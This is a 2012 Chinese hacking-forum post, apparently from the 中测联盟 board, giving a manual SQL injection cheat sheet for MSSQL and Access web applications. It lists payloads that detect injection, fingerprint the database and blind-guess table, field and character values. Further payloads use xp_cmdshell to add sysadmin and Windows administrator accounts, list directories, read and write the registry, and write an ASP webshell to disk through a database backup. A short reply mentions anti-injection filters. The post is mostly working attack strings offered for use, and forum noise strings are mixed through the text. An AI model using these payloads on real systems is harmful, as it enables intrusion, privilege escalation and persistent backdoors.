找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2358|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入
( P7 s# y  {) m7 c1.判断是否有注入;and 1=1 ;and 1=2
7 x6 @3 y" C! @+ q( d8 Z% n. k! N  p+ o$ X  v" o* p
2.初步判断是否是mssql ;and user>0
5 f" V+ b' u0 C+ E3 x4 {' w1 q0 `  a0 B( s8 m# f/ c0 b
3.注入参数是字符'and [查询条件] and ''=' : n  k  p0 r7 s, Y
; T6 V9 a$ f7 ^
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 1 R, j) x% N; c8 x+ o. A! t( }

3 U2 L+ ?. g! I! A9 p6 n5.判断数据库系统
% t: n1 s3 j! N  f  W, r;and (select count(*) from sysobjects)>0 mssql
: Y8 \" ?6 }1 }  S& q;and (select count(*) from msysobjects)>0 access 1 e1 u  D5 Q% C; {

6 i/ _* T4 u9 t! v3 E3 c1 D. ~6.猜数据库 ;and (select Count(*) from [数据库名])>0 / R4 E- @, f+ g, q4 R# p

) v2 q, M8 T: O' w# ~1 `0 ^+ P8 P7.猜字段 ;and (select Count(字段名) from 数据库名)>0 . ]2 Q8 `8 o' M9 j/ y
1 Z/ `+ R3 e, W/ }0 o
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
8 A0 A6 I! ^) ?, }
: @4 B9 m$ k5 I3 c9.(1)猜字段的ascii值(access)
) l- ]! I6 `6 I4 {6 R;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ' u# s/ w1 a) [' [$ j  j3 ^  V/ K) O

) _, R3 @- J9 X8 M8 W$ r(2)猜字段的ascii值(mssql) # t- p6 e$ n/ o# H
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 # L7 F+ y; ?. c% c0 A3 l6 ^

2 j6 A9 o/ t& U  V9 p8 q' b10.测试权限结构(mssql)
- |9 [: J4 _: _- i8 d0 u;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
6 i# G  N" m2 M% @+ q;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
' u8 t7 q9 B+ z9 z, U7 }0 D;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
6 n' ]& L% D& A8 e0 H! D;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- - Q  F3 i( I' \! O
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. \# w( o, g  a/ N& f8 U  I;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + ~1 {, M0 F; d0 L, @9 l5 U1 [& J
;and 1=(select IS_MEMBER('db_owner'));--
) \; q0 g5 c- h/ q5 Q. v- j! a& z$ k
  H: l9 w0 R0 |  r; z  a11.添加mssql和系统的帐户
7 y) u1 s# s9 |8 h: d;exec master.dbo.sp_addlogin username;--
# v# S8 [4 l/ `
" o( I3 u) }2 l, [7 F;exec master.dbo.sp_password null,username,password;--
5 N3 @, f9 C' }- r( F& @5 H- B4 ?/ a8 c* q. d) f" G. S1 K/ k/ H# ?
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
2 q3 P# s, @3 `) V* Z" Y) [2 t# t' @: v. y
;exec master.dbo.xp_cmdshell 'net user username password
7 @* d* w" c! @; w9 U/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
# d+ }% X, M9 @. f, i' s! A
* }& L3 w& H4 o; f6 i: B;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 x4 ?# \" v- g; b
0 L* h* p1 {' [( N0 U. [. Z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 1 J; f1 l3 a0 x9 N) i0 g( G
# _1 G9 Z$ j  F0 A. @
12.(1)遍历目录 * ?% Y: N1 K7 w

: K2 r* Y3 E% p. g;create table dirs(paths varchar(100), id int) ( G% K2 W" S3 Z/ y. N6 e: v
;insert dirs exec master.dbo.xp_dirtree 'c:\' # a& F! `" J; J: G+ \% J, f
;and (select top 1 paths from dirs)>0 # h0 j( P6 n2 P9 ?8 S
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) * z, s2 C' x4 [& z9 `) m
' ~. ?( o. O  }% p+ ~! Z
(2)遍历目录
. ]0 X7 l! W" I7 D: h( k;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9 d8 g" K& q7 s0 \9 u3 V0 A$ i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& O" y& n. [. W4 R& t0 m, m;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
9 H( C4 @, d# X' V" j0 f5 i;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 . q' ^" n$ ]5 N" Y+ K, F7 l. D
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 y& q: k3 U. p7 b1 |+ R
9 o# k% S' i# T1 e2 @
13.mssql中的存储过程 : I8 |  s9 A- f: b, G1 h

. T; d! ~( g! H3 c! _xp_regenumvalues 注册表根键, 子键
' W/ T+ l/ R6 t( @% S' @/ L( g) ~, w;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 3 a4 |0 U8 `& ]2 F% F1 |

  Z0 d" [% x2 t5 O. L* v8 oxp_regread 根键,子键,键值名
9 }: Y" O3 f( a4 y* s. [/ S& |;exec xp_regread
4 w1 O3 D1 f) g4 @4 p9 W'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # ~$ t; F; R- h0 k3 O

6 z" I% T0 t. N7 p- Wxp_regwrite 根键,子键, 值名, 值类型, 值 1 Y& c$ e, n6 e0 }
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
2 t6 b( f3 `9 w% I! ]: P;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 7 n: w! g; M1 z4 @7 I: d) n
: K7 a+ \* u7 L1 ]
xp_regdeletevalue 根键,子键,值名 2 q6 q8 O1 S* |2 P$ z; E& q' H

, M5 K5 m9 w& J$ |6 xexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 % S$ h2 Z9 o0 K9 s- W
8 Y6 A5 Q7 _' f3 o+ b
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
6 d' l( b; L  ^9 e' N1 x4 M8 V- t& L4 r$ t9 w7 j
14.mssql的backup创建webshell
6 _, K- h2 h/ t" r% m6 vuse model 1 w' V: T  w8 K
create table cmd(str image);
& @3 O/ K, y: O  Rinsert into cmd(str) values (''); / M8 Q# H. x0 B* H* o) }
backup database model to disk='c:\l.asp';
) u. I7 @! i9 J! B9 d" Y) g7 `. g8 v- ?
15.mssql内置函数 7 A! {" T1 N; o, ^$ f6 e# f$ i3 c. a
;and (select @@version)>0 获得Windows的版本号 4 O4 s+ v! E& H" O' C
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 f; X$ b% V, X0 [9 I6 S; P
;and (select user_name())>0 爆当前系统的连接用户 5 Q( D( j6 {8 B& P. ?7 o2 L
;and (select db_name())>0 得到当前连接的数据库
0 L- x# v# w. K' L/ ^
: i8 i% E* x4 ?6 Q16.简洁的webshell
: Q9 ^6 z' s$ t2 ~) `0 S4 D' z* j) e* [' v6 C" {& k; U* |8 x" I: x
use model
; N7 z& ~7 W% T+ O' O. e& K0 s* k7 P
create table cmd(str image); 4 H& P" L" o9 Q1 w5 d

' w2 z2 _; ]9 I. p# ?/ kinsert into cmd(str) values ('');
) L; G, {9 F6 J+ h- s. y' D4 h9 s6 k& e
backup database model to disk='g:\wwwtest\l.asp'; ) Z0 j$ e, o; u* p0 X
5 Q- U+ R2 i; J: f6 T
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表